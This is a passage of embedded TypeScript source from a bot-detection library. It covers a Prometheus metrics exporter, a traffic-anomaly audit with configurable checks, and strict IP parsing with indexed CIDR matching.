[`{detector=\"${escapeLabel(detector)}\"}`, timing.totalMs]));\n counter(\"detector_duration_ms_count\", \"Detector invocations timed.\", timings.map(([detector, timing]) => [`{detector=\"${escapeLabel(detector)}\"}`, timing.count]));\n }\n counter(\"challenges_total\", \"Challenge lifecycle events.\", Object.entries(snapshot.challenges).map(([event, value]) => [`{event=\"${event}\"}`, value]));\n\n lines.push(\n `# HELP ${prefix}_score Distribution of probabilistic scores. Proven assessments carry no score and are counted by ${prefix}_proven_total.`,\n `# TYPE ${prefix}_score histogram`,\n );\n for (let i = 0; i < SCORE_BUCKETS.length; i++) {\n lines.push(`${prefix}_score_bucket{le=\"${SCORE_BUCKETS[i]}\"} ${snapshot.scores.buckets[i]}`);\n }\n lines.push(\n // The top bound is 99 and a probabilistic score cannot exceed it, so +Inf is the\n // same number. It is here because a histogram without it is not a histogram.\n `${prefix}_score_bucket{le=\"+Inf\"} ${snapshot.scores.count}`,\n `${prefix}_score_sum ${snapshot.scores.totalScore}`,\n `${prefix}_score_count ${snapshot.scores.count}`,\n );\n\n lines.push(`# HELP ${prefix}_assessment_duration_ms Time spent in detection.`, `# TYPE ${prefix}_assessment_duration_ms histogram`);\n for (let i = 0; i < DURATION_BUCKETS_MS.length; i++) {\n lines.push(`${prefix}_assessment_duration_ms_bucket{le=\"${DURATION_BUCKETS_MS[i]}\"} ${snapshot.duration.buckets[i]}`);\n }\n lines.push(\n `${prefix}_assessment_duration_ms_bucket{le=\"+Inf\"} ${snapshot.duration.buckets[snapshot.duration.buckets.length - 1]}`,\n `${prefix}_assessment_duration_ms_sum ${snapshot.duration.totalMs}`,\n `${prefix}_assessment_duration_ms_count ${snapshot.duration.count}`,\n `# HELP ${prefix}_actors_tracked Actors currently held in the registry.`,\n `# TYPE ${prefix}_actors_tracked gauge`,\n `${prefix}_actors_tracked ${snapshot.actorsTracked}`,\n );\n\n return `${lines.join(\"\\n\")}\\n`;\n}\n\n/** Detector ids are ours, but a custom one is caller-supplied and must not break the format. */\nfunction escapeLabel(value: string): string {\n return value.replace(/\\\\/g, \"\\\\\\\\\").replace(/\"/g, '\\\\\"').replace(/\\n/g, \" \");\n}\n","import { systemClock } from \"./internal/clock.js\";\nimport type { Clock } from \"./internal/clock.js\";\nimport type { Assessment } from \"./types.js\";\nimport type { Decision } from \"./policy/types.js\";\n\n/**\n * Watching the shape of your traffic change.\n *\n * Counters tell you what is happening; they do not tell you that it is *unusual*.\n * Bot traffic is not a level, it is an event — a scrape starts, a scanner sweeps a\n * range, someone points a stuffing tool at your login form — and the number that\n * matters is not \"12% of requests are bots\" but \"12% today, 2% for the fortnight\n * before\". So this module keeps a short window and a longer baseline, compares them\n * on a schedule, and raises a structured anomaly when the comparison clears a bar you\n * set.\n *\n * Three properties make it safe to leave on:\n *\n * **It costs a handful of increments per request.** No allocation, no timestamp\n * sorting, no history beyond a fixed ring of buckets.\n *\n * **It refuses to speak from a small sample.** Every check has a minimum, because a\n * quiet site at 3am produces ratios like \"800% more bots\" from four requests, and an\n * alerting system that cries wolf at 3am gets muted, which is worse than not having\n * one.\n *\n * **It has a cooldown.** A spike lasting an hour is one event, not sixty.\n */\n\n/** What an anomaly is worth waking somebody for. */\nexport type AnomalySeverity = \"info\" | \"warning\" | \"critical\";\n\nexport interface TrafficAnomaly {\n /** Stable id of the check that fired, e.g. `\"bot-share-spike\"`. */\n id: string;\n severity: AnomalySeverity;\n /** One sentence, safe to put in an alert. */\n summary: string;\n /** The measure that moved, e.g. `\"bot share\"`. */\n metric: string;\n /** Value in the recent window, and in the baseline it was compared against. */\n value: number;\n baseline: number;\n /** `value / baseline`, or `undefined` when the baseline was zero. */\n ratio?: number | undefined;\n at: number;\n window: AuditWindow;\n baselineWindow: AuditWindow;\n}\n\n/** Counters for one stretch of time. */\nexport interface AuditWindow {\n /** Milliseconds the window covers, rounded up to whole buckets. */\n spanMs: number;\n requests: number;\n /** Requests that skipped detection: allowlisted, or an ignored path. */\n bypassed: number;\n bots: number;\n humans: number;\n denials: number;\n challenges: number;\n /**\n * Challenges that were solved in this span.\n *\n * Counted separately from `challenges` because the ratio between them is the one\n * measurement that says whether the mitigations are landing on machines or on people.\n * See {@link challengeSolveRate}.\n */\n challengesSolved: number;\n downgrades: number;\n failures: number;\n /** Requests per minute over the span. */\n rate: number;\n /** Bots as a fraction of the requests detection actually ran on, 0–1. */\n botShare: number;\n /**\n * Solved challenges as a fraction of those issued, 0–1. `undefined` below the sample\n * floor, because a rate over three challenges is not a rate.\n *\n * **High is the bad direction**, which is the opposite of what the name suggests to\n * most people. A proof-of-work challenge is trivial for a browser and trivial for a\n * competent scraper; what it costs is a few seconds of somebody's afternoon. So a\n * solve rate near one does not mean the challenges are working — it means almost\n * everything being challenged can pass, and the population that can pass a browser\n * challenge is overwhelmingly people.\n */\n challengeSolveRate: number | undefined;\n}\n\nexport interface AuditContext {\n window: AuditWindow;\n baseline: AuditWindow;\n at: number;\n /** The configured floor for a check to speak at all. */\n minSamples: number;\n}\n\nexport interface AuditCheck {\n id: string;\n /** One line, shown by `describeAudit()` and on the dashboard. */\n description: string;\n /** Returns an anomaly, or `undefined` when nothing is worth saying. */\n evaluate(context: AuditContext): Omit<TrafficAnomaly, \"at\" | \"window\" | \"baselineWindow\"> | undefined;\n}\n\nexport interface AuditOptions {\n /** The recent stretch being judged. Default 300000 (5 minutes). */\n windowMs?: number;\n /**\n * What it is compared against — the *preceding* stretch, not one containing it.\n * Default 3600000 (1 hour).\n *\n * Ending the baseline where the window begins is what makes a spike visible: a\n * baseline that included the window would be partly made of the thing being\n * measured, and a large enough spike would raise its own bar until it stopped\n * looking like one.\n */\n baselineMs?: number;\n /** How often the comparison runs, ms. Default 60000. */\n intervalMs?: number;\n /** Requests needed in the window before any check may speak. Default 50. */\n minSamples?: number;\n /** Silence per check id after it fires, ms. Default 900000 (15 minutes). */\n cooldownMs?: number;\n /** Replaces the built-in checks entirely. */\n checks?: readonly AuditCheck[];\n /** Appended to the built-in checks. */\n extraChecks?: readonly AuditCheck[];\n clock?: Clock;\n}\n\n/** Buckets held in the ring, whatever the spans work out to. Keeps memory flat. */\nconst MAX_BUCKETS = 512;\n\ninterface Bucket {\n at: number;\n requests: number;\n bypassed: number;\n bots: number;\n humans: number;\n denials: number;\n challenges: number;\n challengesSolved: number;\n downgrades: number;\n failures: number;\n}\n\nconst DENYING = new Set([\"block\", \"drop\", \"redirect\"]);\nconst MITIGATING = new Set([\"challenge\", \"rate-limit\", \"delay\"]);\n\nexport class TrafficAudit {\n readonly checks: readonly AuditCheck[];\n /** Effective spans: the requested ones rounded up to whole buckets. */\n private windowMs: number;\n private baselineMs: number;\n private readonly bucketMs: number;\n private readonly buckets: Bucket[];\n private readonly minSamples: number;\n private readonly cooldownMs: number;\n private readonly lastFired = new Map<string, number>();\n private readonly clock: Clock;\n private timer: ReturnType<typeof setInterval> | undefined;\n\n constructor(options: AuditOptions = {}) {\n this.windowMs = Math.max(1000, options.windowMs ?? 300_000);\n this.baselineMs = Math.max(this.windowMs, options.baselineMs ?? 3_600_000);\n this.minSamples = Math.max(1, options.minSamples ?? 50);\n this.cooldownMs = Math.max(0, options.cooldownMs ?? 900_000);\n this.clock = options.clock ?? systemClock;\n this.checks = options.checks ?? [...DEFAULT_CHECKS, ...(options.extraChecks ?? [])];\n\n // Ten buckets to a window, coarsened if that would need more of them than the ring\n // holds. Both spans are then rounded *up* to whole buckets, and the aggregation\n // ranges below snap to bucket boundaries — because a window whose edge falls\n // inside a bucket either loses that bucket's requests or borrows the neighbour's,\n // and an audit that miscounts its own window is not worth having.\n const requested = this.windowMs + this.baselineMs;\n let bucketMs = Math.max(1000, Math.round(this.windowMs / 10));\n if (Math.ceil(requested / bucketMs) + 1 > MAX_BUCKETS) bucketMs = Math.ceil(requested / (MAX_BUCKETS - 1));\n this.bucketMs = bucketMs;\n this.windowMs = Math.max(bucketMs, Math.ceil(this.windowMs / bucketMs) * bucketMs);\n this.baselineMs = Math.max(bucketMs, Math.ceil(this.baselineMs / bucketMs) * bucketMs);\n\n const count = (this.windowMs + this.baselineMs) / bucketMs + 1;\n this.buckets = Array.from({ length: count }, () => ({ at: 0, requests: 0, bypassed: 0, bots: 0, humans: 0, denials: 0, challenges: 0, challengesSolved: 0, downgrades: 0, failures: 0 }));\n }\n\n /** Starts the periodic comparison. Unreffed: an audit never keeps a process alive. */\n start(intervalMs: number, onAnomaly: (anomaly: TrafficAnomaly) => void): void {\n if (this.timer !== undefined) return;\n this.timer = setInterval(() => {\n for (const anomaly of this.evaluate()) onAnomaly(anomaly);\n }, Math.max(1000, intervalMs));\n this.timer.unref?.();\n }\n\n stop(): void {\n if (this.timer !== undefined) clearInterval(this.timer);\n this.timer = undefined;\n }\n\n record(assessment: Assessment): void {\n const bucket = this.bucketFor(assessment.facts.timestamp);\n if (bucket === undefined) return;\n bucket.requests++;\n if (assessment.bypass !== undefined) {\n bucket.bypassed++;\n return;\n }\n if (assessment.verdict === \"confirmed-bot\" || assessment.verdict === \"verified-bot\" || assessment.verdict === \"suspected-bot\") bucket.bots++;\n else if (assessment.verdict === \"human\") bucket.humans++;\n bucket.failures += assessment.failures.length;\n }\n\n /**\n * A challenge was solved.\n *\n * Recorded here rather than derived from decisions because a solve happens on a\n * *later* request than the challenge that prompted it — usually the next one, from a\n * client that is now carrying a clearance token and will not be challenged again. No\n * amount of looking at decisions finds it.\n */\n recordChallengeSolved(at: number): void {\n const bucket = this.bucketFor(at);\n if (bucket === undefined) return;\n bucket.challengesSolved++;\n }\n\n recordDecision(decision: Decision, at: number): void {\n const bucket = this.bucketFor(at);\n if (bucket === undefined) return;\n if (DENYING.has(decision.action)) bucket.denials++;\n else if (MITIGATING.has(decision.action)) bucket.challenges++;\n if (decision.downgradedFrom !== undefined) bucket.downgrades++;\n }\n\n /** The two spans as they stand right now. Also what the dashboard draws. */\n summary(now = this.clock.now()): { window: AuditWindow; baseline: AuditWindow } {\n // The bucket `now` falls in is still filling, so the window ends at its far edge:\n // both ranges are then whole numbers of buckets and nothing is half-counted.\n const end = (Math.floor(now / this.bucketMs) + 1) * this.bucketMs;\n const windowStart = end - this.windowMs;\n return {\n window: this.aggregate(windowStart, end, this.windowMs),\n baseline: this.aggregate(windowStart - this.baselineMs, windowStart, this.baselineMs),\n };\n }\n\n /**\n * Runs every check. Anomalies come back in the order the checks are configured.\n *\n * Safe to call as often as you like: a check that has fired inside its cooldown is\n * skipped, and a window below `minSamples` produces nothing at all.\n */\n evaluate(now = this.clock.now()): TrafficAnomaly[] {\n const { window, baseline } = this.summary(now);\n const anomalies: TrafficAnomaly[] = [];\n if (window.requests < this.minSamples) return anomalies;\n\n const context: AuditContext = { window, baseline, at: now, minSamples: this.minSamples };\n\n for (const check of this.checks) {\n const last = this.lastFired.get(check.id);\n if (last !== undefined && now - last < this.cooldownMs) continue;\n\n let result: ReturnType<AuditCheck[\"evaluate\"]>;\n try {\n result = check.evaluate(context);\n } catch {\n // A check is caller-supplied code on a timer. One that throws is skipped, not\n // a reason for the audit to stop running.\n continue;\n }\n if (result === undefined) continue;\n\n this.lastFired.set(check.id, now);\n anomalies.push({ ...result, at: now, window, baselineWindow: baseline });\n }\n\n return anomalies;\n }\n\n private bucketFor(timestamp: number): Bucket | undefined {\n const index = Math.floor(timestamp / this.bucketMs);\n const slot = this.buckets[((index % this.buckets.length) + this.buckets.length) % this.buckets.length]!;\n const at = index * this.bucketMs;\n if (slot.at !== at) {\n // The ring has come round: this slot belongs to an older stretch of time and is\n // reset rather than added to.\n slot.at = at;\n slot.requests = 0;\n slot.bypassed = 0;\n slot.bots = 0;\n slot.humans = 0;\n slot.denials = 0;\n slot.challenges = 0;\n slot.challengesSolved = 0;\n slot.downgrades = 0;\n slot.failures = 0;\n }\n return slot;\n }\n\n private aggregate(from: number, to: number, spanMs: number): AuditWindow {\n const totals = { requests: 0, bypassed: 0, bots: 0, humans: 0, denials: 0, challenges: 0, challengesSolved: 0, downgrades: 0, failures: 0 };\n for (const bucket of this.buckets) {\n if (bucket.at === 0 || bucket.at < from || bucket.at >= to) continue;\n totals.requests += bucket.requests;\n totals.bypassed += bucket.bypassed;\n totals.bots += bucket.bots;\n totals.humans += bucket.humans;\n totals.denials += bucket.denials;\n totals.challenges += bucket.challenges;\n totals.challengesSolved += bucket.challengesSolved;\n totals.downgrades += bucket.downgrades;\n totals.failures += bucket.failures;\n }\n // Measured against everything detection actually looked at — not against\n // bot-plus-human, which would leave out `unknown`, and `unknown` is what ordinary\n // traffic looks like. A share of \"bots among requests we classified either way\"\n // would read 100% on a site with one bot and a thousand unremarkable visitors.\n const assessed = totals.requests - totals.bypassed;\n return {\n ...totals,\n spanMs,\n rate: totals.requests / (spanMs / 60_000),\n botShare: assessed > 0 ? totals.bots / assessed : 0,\n // Four is not a sample. Below that the ratio swings between 0 and 1 on one\n // person's decision, and a check that fires on that is a check people mute.\n challengeSolveRate: totals.challenges >= 4 ? Math.min(1, totals.challengesSolved / totals.challenges) : undefined,\n };\n }\n}\n\n/** `value / baseline`, guarding the zero case that would otherwise be Infinity. */\nfunction ratioOf(value: number, baseline: number): number | undefined {\n return baseline > 0 ? value / baseline : undefined;\n}\n\nfunction percent(value: number): string {\n return `${(value * 100).toFixed(1)}%`;\n}\n\n/**\n * The checks that ship.\n *\n * Each one earns its place by describing a *different* thing going wrong, and each\n * states its floor in the code rather than in a comment. Replace them wholesale with\n * `audit.checks`, or add your own with `audit.extraChecks`.\n */\nexport const DEFAULT_CHECKS: readonly AuditCheck[] = Object.freeze([\n {\n id: \"bot-share-spike\",\n description: \"The share of traffic classified as automated has risen sharply against the baseline\",\n evaluate({ window, baseline }) {\n const ratio = ratioOf(window.botShare, baseline.botShare);\n // A share that doubles is interesting; a share that doubles from 1% to 2% is\n // not, so an absolute floor sits beside the ratio. A baseline of zero has no\n // ratio at all and is the *loudest* case rather than a reason to stay quiet:\n // automation going from none to most of your traffic is the alert.\n if (window.botShare < 0.25) return undefined;\n if (ratio !== undefined && ratio < 2) return undefined;\n return {\n id: \"bot-share-spike\",\n severity: window.botShare >= 0.6 ? \"critical\" : \"warning\",\n metric: \"bot share\",\n value: window.botShare,\n baseline: baseline.botShare,\n ratio,\n summary:\n `Automated traffic is ${percent(window.botShare)} of assessed requests, against ${percent(baseline.botShare)} in the baseline` +\n `${ratio !== undefined ? ` (${ratio.toFixed(1)}x)` : \" — where there was none\"}.`,\n };\n },\n },\n {\n id: \"traffic-spike\",\n description: \"Request volume is far above the baseline rate\",\n evaluate({ window, baseline }) {\n const ratio = ratioOf(window.rate, baseline.rate);\n if (ratio === undefined || ratio < 3 || window.rate < 10) return undefined;\n return {\n id: \"traffic-spike\",\n severity: ratio >= 10 ? \"critical\" : \"warning\",\n metric: \"requests per minute\",\n value: window.rate,\n baseline: baseline.rate,\n ratio,\n summary: `Traffic is ${window.rate.toFixed(0)} requests a minute, against a baseline of ${baseline.rate.toFixed(1)} (${ratio.toFixed(1)}x).`,\n };\n },\n },\n {\n id: \"denial-spike\",\n description: \"A much larger share of requests is being denied than usual\",\n evaluate({ window, baseline }) {\n const share = window.requests > 0 ? window.denials / window.requests : 0;\n const baseShare = baseline.requests > 0 ? baseline.denials / baseline.requests : 0;\n const ratio = ratioOf(share, baseShare);\n if (window.denials < 10 || share < 0.05) return undefined;\n // A denial rate that appears from nothing is the more alarming case, so a zero\n // baseline fires rather than being skipped for want of a ratio.\n if (ratio !== undefined && ratio < 3) return undefined;\n return {\n id: \"denial-spike\",\n severity: \"warning\",\n metric: \"denial rate\",\n value: share,\n baseline: baseShare,\n ratio,\n summary: `${window.denials} request(s) denied — ${percent(share)} of traffic, against ${percent(baseShare)} in the baseline. Check that they are all really bots.`,\n };\n },\n },\n {\n id: \"guard-stop-spike\",\n description: \"The safety guard is refusing far more rules than usual\",\n evaluate({ window, baseline }) {\n const share = window.requests > 0 ? window.downgrades / window.requests : 0;\n const baseShare = baseline.requests > 0 ? baseline.downgrades / baseline.requests : 0;\n const ratio = ratioOf(share, baseShare);\n if (window.downgrades < 10 || share < 0.05) return undefined;\n if (ratio !== undefined && ratio < 3) return undefined;\n return {\n id: \"guard-stop-spike\",\n severity: \"warning\",\n metric: \"guard stops\",\n value: share,\n baseline: baseShare,\n ratio,\n // This one is about the policy rather than about the traffic, and it is the\n // most useful thing in the list: the guard is doing its job, and the rules are\n // asking for more than their evidence supports.\n summary: `The guard stopped ${window.downgrades} terminal action(s) — ${percent(share)} of traffic. Your rules are asking to deny requests the evidence does not prove.`,\n };\n },\n },\n {\n id: \"challenge-solve-rate\",\n description: \"Nearly everything being challenged is passing, which means people are being challenged\",\n evaluate({ window }) {\n const rate = window.challengeSolveRate;\n if (rate === undefined || window.challenges < 20) return undefined;\n if (rate < 0.85) return undefined;\n return {\n id: \"challenge-solve-rate\",\n severity: \"warning\",\n metric: \"challenge solve rate\",\n value: rate,\n baseline: 0.85,\n ratio: undefined,\n /**\n * The check the rest of this file was missing, and the one closest to the\n * library's own thesis.\n *\n * Everything else here watches whether the *traffic* changed shape. This\n * watches whether the mitigation is landing on the right population — and a\n * high number is the bad direction, which is the opposite of what the name\n * suggests. A proof-of-work challenge is trivial for a browser and trivial for\n * a competent scraper; what it actually costs is a few seconds of somebody's\n * afternoon. So when nearly everything challenged goes on to pass, the\n * challenges are not filtering bots out, they are taxing people — and nothing\n * else on this dashboard would ever have said so, because from every other\n * angle a challenge that gets solved looks like a challenge that worked.\n */\n summary: `${percent(rate)} of challenges are being solved (${window.challengesSolved} of ${window.challenges}). A challenge is easy for a browser and easy for a competent scraper, so a rate this high means it is mostly landing on people. Raise the threshold that issues it, or narrow the rule.`,\n };\n },\n },\n {\n id: \"human-share-drop\",\n description: \"Traffic that reads as human has fallen away against the baseline\",\n evaluate({ window, baseline }) {\n const share = window.requests > 0 ? window.humans / window.requests : 0;\n const baseShare = baseline.requests > 0 ? baseline.humans / baseline.requests : 0;\n if (baseShare < 0.2 || share >= baseShare * 0.5) return undefined;\n return {\n id: \"human-share-drop\",\n severity: \"warning\",\n metric: \"human share\",\n value: share,\n baseline: baseShare,\n ratio: ratioOf(share, baseShare),\n // Either the traffic changed or the detection did, and knowing which is worth\n // being woken for: the second means something is now misreading real people.\n summary: `Only ${percent(share)} of traffic reads as human, against ${percent(baseShare)} in the baseline. Either your traffic changed or your detection did.`,\n };\n },\n },\n {\n id: \"detector-failures\",\n description: \"Detectors are erroring or timing out on a meaningful share of requests\",\n evaluate({ window }) {\n const share = window.requests > 0 ? window.failures / window.requests : 0;\n if (share < 0.01 || window.failures < 5) return undefined;\n return {\n id: \"detector-failures\",\n severity: share >= 0.1 ? \"critical\" : \"warning\",\n metric: \"detector failure rate\",\n value: share,\n baseline: 0,\n summary: `Detectors failed on ${percent(share)} of requests (${window.failures} failure(s)). Detection is degraded — usually a resolver or a store, not the traffic.`,\n };\n },\n },\n]);\n","/**\n * IP parsing, normalisation and CIDR matching, with no dependencies.\n *\n * Everything works on raw byte arrays rather than strings, because string\n * comparison of IPs is a classic source of bypasses: `::ffff:127.0.0.1`,\n * `0177.0.0.1` and `127.0.0.001` are all the same host to the network stack but\n * three different strings to a naive allowlist.\n */\n\n/** An IP as bytes: 4 for IPv4, 16 for IPv6. IPv4-mapped IPv6 is folded to 4. */\nexport type IpBytes = Uint8Array;\n\n/**\n * Parses an IPv4 or IPv6 literal into bytes, or `null` if it is not a valid\n * address. Deliberately strict: no octal, no hex, no shorthand octets, no zone\n * ids. Anything ambiguous is rejected rather than guessed at.\n */\nexport function parseIp(value: string): IpBytes | null {\n const input = value.trim();\n if (input.length === 0 || input.length > 45) return null;\n // Bracketed form from a Host/Forwarded header: [2001:db8::1]\n const bare = input.startsWith(\"[\") && input.endsWith(\"]\") ? input.slice(1, -1) : input;\n if (bare.includes(\":\")) return parseIpv6(bare);\n return parseIpv4(bare);\n}\n\nfunction parseIpv4(value: string): IpBytes | null {\n const parts = value.split(\".\");\n if (parts.length !== 4) return null;\n const bytes = new Uint8Array(4);\n for (let i = 0; i < 4; i++) {\n const part = parts[i]!;\n // Reject empty, over-long, non-digit and leading-zero forms outright.\n if (part.length === 0 || part.length > 3) return null;\n if (!/^\\d+$/.test(part)) return null;\n if (part.length > 1 && part[0] === \"0\") return null;\n const n = Number(part);\n if (n > 255) return null;\n bytes[i] = n;\n }\n return bytes;\n}\n\nfunction parseIpv6(value: string): IpBytes | null {\n // Strip a zone id (`%eth0`) — it is a local routing detail, not part of identity.\n const withoutZone = value.split(\"%\")[0]!;\n const doubleColon = withoutZone.indexOf(\"::\");\n if (doubleColon !== withoutZone.lastIndexOf(\"::\")) return null;\n\n const [headText, tailText] =\n doubleColon === -1\n ? [withoutZone, \"\"]\n : [withoutZone.slice(0, doubleColon), withoutZone.slice(doubleColon + 2)];\n\n const head = headText.length > 0 ? headText.split(\":\") : [];\n const tail = tailText.length > 0 ? tailText.split(\":\") : [];\n\n // A trailing dotted-quad (`::ffff:192.0.2.1`) occupies the last two groups.\n let embedded: IpBytes | null = null;\n const groups = [...head, ...tail];\n const last = groups[groups.length - 1];\n if (last !== undefined && last.includes(\".\")) {\n embedded = parseIpv4(last);\n if (!embedded) return null;\n if (tail.length > 0) tail.pop();\n else head.pop();\n }\n\n const groupCount = head.length + tail.length + (embedded ? 2 : 0);\n if (doubleColon === -1 ? groupCount !== 8 : groupCount > 7) return null;\n\n const bytes = new Uint8Array(16);\n let offset = 0;\n for (const group of head) {\n if (!writeGroup(bytes, offset, group)) return null;\n offset += 2;\n }\n // The gap the `::` stands for, left as the zeroes the array already holds.\n offset = 16 - tail.length * 2 - (embedded ? 4 : 0);\n for (const group of tail) {\n if (!writeGroup(bytes, offset, group)) return null;\n offset += 2;\n }\n if (embedded) bytes.set(embedded, 12);\n\n // Fold IPv4-mapped (::ffff:0:0/96) down to a plain v4 address so that one host\n // has exactly one representation regardless of which stack accepted it.\n if (isIpv4Mapped(bytes)) return bytes.slice(12, 16);\n return bytes;\n}\n\nfunction writeGroup(bytes: Uint8Array, offset: number, group: string): boolean {\n if (group.length === 0 || group.length > 4 || !/^[0-9a-fA-F]+$/.test(group)) return false;\n const n = Number.parseInt(group, 16);\n bytes[offset] = n >> 8;\n bytes[offset + 1] = n & 0xff;\n return true;\n}\n\nfunction isIpv4Mapped(bytes: Uint8Array): boolean {\n for (let i = 0; i < 10; i++) if (bytes[i] !== 0) return false;\n return bytes[10] === 0xff && bytes[11] === 0xff;\n}\n\n/** Canonical string form, so the same host always produces the same actor key. */\nexport function formatIp(bytes: IpBytes): string {\n if (bytes.length === 4) return `${bytes[0]}.${bytes[1]}.${bytes[2]}.${bytes[3]}`;\n const groups: string[] = [];\n for (let i = 0; i < 16; i += 2) groups.push(((bytes[i]! << 8) | bytes[i + 1]!).toString(16));\n // RFC 5952: compress the longest run of zero groups, leftmost on a tie.\n let bestStart = -1;\n let bestLen = 0;\n for (let i = 0; i < 8; i++) {\n if (groups[i] !== \"0\") continue;\n let j = i;\n while (j < 8 && groups[j] === \"0\") j++;\n if (j - i > bestLen) {\n bestLen = j - i;\n bestStart = i;\n }\n i = j;\n }\n if (bestLen < 2) return groups.join(\":\");\n return `${groups.slice(0, bestStart).join(\":\")}::${groups.slice(bestStart + bestLen).join(\":\")}`;\n}\n\n/** Normalises any accepted spelling of an address to its canonical form. Returns `null` if unparseable. */\nexport function normalizeIp(value: string): string | null {\n const bytes = parseIp(value);\n return bytes ? formatIp(bytes) : null;\n}\n\nexport interface Cidr {\n readonly bytes: IpBytes;\n readonly prefix: number;\n readonly source: string;\n}\n\n/** Parses `\"10.0.0.0/8\"`, `\"2001:db8::/32\"`, or a bare address (treated as a /32 or /128). */\nexport function parseCidr(value: string): Cidr | null {\n const slash = value.lastIndexOf(\"/\");\n const addressText = slash === -1 ? value : value.slice(0, slash);\n const bytes = parseIp(addressText);\n if (!bytes) return null;\n const maxPrefix = bytes.length * 8;\n if (slash === -1) return { bytes, prefix: maxPrefix, source: value };\n const prefixText = value.slice(slash + 1);\n if (!/^\\d{1,3}$/.test(prefixText)) return null;\n const prefix = Number(prefixText);\n if (prefix > maxPrefix) return null;\n return { bytes, prefix, source: value };\n}\n\n/** True when `ip` falls inside `cidr`. Address families never match across each other. */\nexport function cidrContains(cidr: Cidr, ip: IpBytes): boolean {\n if (cidr.bytes.length !== ip.length) return false;\n const fullBytes = cidr.prefix >> 3;\n for (let i = 0; i < fullBytes; i++) if (cidr.bytes[i] !== ip[i]) return false;\n const remainder = cidr.prefix & 7;\n if (remainder === 0) return true;\n const mask = 0xff << (8 - remainder);\n return (cidr.bytes[fullBytes]! & mask) === (ip[fullBytes]! & mask);\n}\n\n/**\n * One range plus the position it was added at, so that when several ranges match the\n * same address the answer does not depend on how the index happens to be laid out.\n */\ninterface IndexedCidr {\n readonly cidr: Cidr;\n readonly order: number;\n}\n\n/**\n * Ranges for one address family, indexed on the first two bytes.\n *\n * A linear scan is fine for the handful of CIDRs in an allowlist and catastrophic for\n * the list this library actually asks operators to supply: AWS publishes around seven\n * thousand IPv4 prefixes, GCP and Azure comparable numbers, and `datacenterRanges` is\n * documented as the place to put them. Scanning that on every request measured at\n * ~87µs — several times the cost of the entire rest of an assessment — so the size of\n * a range list silently became the dominant term in request latency.\n *\n * Bucketing by the leading bytes fixes that without changing any answer. A prefix of\n * /16 or longer pins both leading bytes, so it is reachable from exactly one bucket;\n * a /8 to /15 pins only the first; anything shorter than /8 spans buckets and stays in\n * a list checked on every lookup. Real range lists are overwhelmingly /16 and longer,\n * which is why this collapses to a handful of comparisons.\n */\nclass FamilyIndex {\n /** Prefix < 8. Spans first bytes, so it is always scanned. Realistically empty. */\n private readonly wide: IndexedCidr[] = [];\n private readonly buckets = new Map<number, { mid: IndexedCidr[]; deep: Map<number, IndexedCidr[]> }>();\n\n add(entry: IndexedCidr): void {\n const { cidr } = entry;\n if (cidr.prefix < 8) {\n this.wide.push(entry);\n return;\n }\n const first = cidr.bytes[0]!;\n let bucket = this.buckets.get(first);\n if (bucket === undefined) {\n bucket = { mid: [], deep: new Map() };\n this.buckets.set(first, bucket);\n }\n if (cidr.prefix < 16) {\n bucket.mid.push(entry);\n return;\n }\n const second = cidr.bytes[1]!;\n let deep = bucket.deep.get(second);\n if (deep === undefined) {\n deep = [];\n bucket.deep.set(second, deep);\n }\n deep.push(entry);\n }\n\n /** The earliest-added range containing `ip`, or `undefined`. */\n find(ip: IpBytes): IndexedCidr | undefined {\n let best = scan(this.wide, ip, undefined);\n const bucket = this.buckets.get(ip[0]!);\n if (bucket !== undefined) {\n best = scan(bucket.mid, ip, best);\n const deep = bucket.deep.get(ip[1]!);\n if (deep !== undefined) best = scan(deep, ip, best);\n }\n return best;\n }\n}\n\nfunction scan(entries: readonly IndexedCidr[], ip: IpBytes, best: IndexedCidr | undefined): IndexedCidr | undefined {\n let winner = best;\n for (let i = 0; i < entries.length; i++) {\n const entry = entries[i]!;\n if (winner !== undefined && entry.order > winner.order) continue;\n if (cidrContains(entry.cidr, ip)) winner = entry;\n }\n return winner;\n}\n\n/**\n * A compiled set of CIDR ranges. Building it once and reusing it keeps the hot\n * path free of string parsing — matching is a handful of byte comparisons, and stays\n * that way as the list grows into the thousands.\n */\nexport class IpRangeSet {\n private readonly v4 = new FamilyIndex();\n private readonly v6 = new FamilyIndex();\n private count = 0;\n /**\n * Every range that parsed, in the order it was added.\n *\n * Kept as plain text beside the index rather than reconstructed from it. The index\n * is shaped for lookups — bucketed by leading byte, prefix-split — and walking it\n * back into a list would be both slower and, for anything that wants to *show* the\n * set, wrong: what an operator recognises is the string they wrote, not a normalised\n * form of it. These sets are configuration-sized, so the array costs nothing.\n */\n private readonly sources: string[] = [];\n /** Ranges that failed to parse, surfaced so a typo in config is loud rather than silent. */\n readonly invalid: string[] = [];\n\n constructor(ranges: Iterable<string> = []) {\n for (const range of ranges) this.add(range);\n }\n\n add(range: string): void {\n const cidr = parseCidr(range);\n if (!cidr) {\n this.invalid.push(range);\n return;\n }\n this.sources.push(cidr.source);\n (cidr.bytes.length === 4 ? this.v4 : this.v6).add({ cidr, order: this.count++ });\n }\n\n get size(): number {\n return this.count;\n }\n\n /** The ranges in this set, as written, oldest first. What a reader can act on. */\n entries(): readonly string[] {\n return this.sources;\n }\n\n /**\n * Returns the matching range's original text, or `undefined`. Useful for explaining\n * a decision. When several ranges match, the one added first wins, so the\n * explanation does not depend on the index's internal layout.\n */\n match(ip: string | IpBytes): string | undefined {\n const bytes = typeof ip === \"string\" ? parseIp(ip) : ip;\n if (!bytes) return undefined;\n return (bytes.length === 4 ? this.v4 : this.v6).find(bytes)?.cidr.source;\n }\n\n contains(ip: string | IpBytes): boolean {\n const bytes = typeof ip === \"string\" ? parseIp(ip) : ip;\n if (!bytes) return false;\n return (bytes.length === 4 ? this.v4 : this.v6).find(bytes) !== undefined;\n }\n}\n\n/** IANA special-purpose ranges: loopback, private, link-local, CGNAT, documentation. */\nexport const SPECIAL_USE_RANGES = [\n \"0.0.0.0/8\",\n \"10.0.0.0/8\",\n \"100.64.0.0/10\",\n \"127.0.0.0/8\",\n \"169.254.0.0/16\",\n \"172.16.0.0/12\",\n \"192.0.0.0/24\",\n \"192.0.2.0/24\",\n \"192.168.0.0/16\",\n \"198.18.0.0/15\",\n \"198.51.100.0/24\",\n \"203.0.113.0/24\",\n \"224.0.0.0/4\",\n \"240.0.0.0/4\",\n \"::1/128\",\n \"fc00::/7\",\n \"fe80::/10\",\n \"2001:db8::/32\",\n] as const;\n\nconst SPECIAL_USE = new IpRangeSet(SPECIAL_USE_RANGES);\n\n/** True for loopback/private/link-local/documentation addresses — never public clients. */\nexport function isSpecialUse(ip: string): boolean {\n return 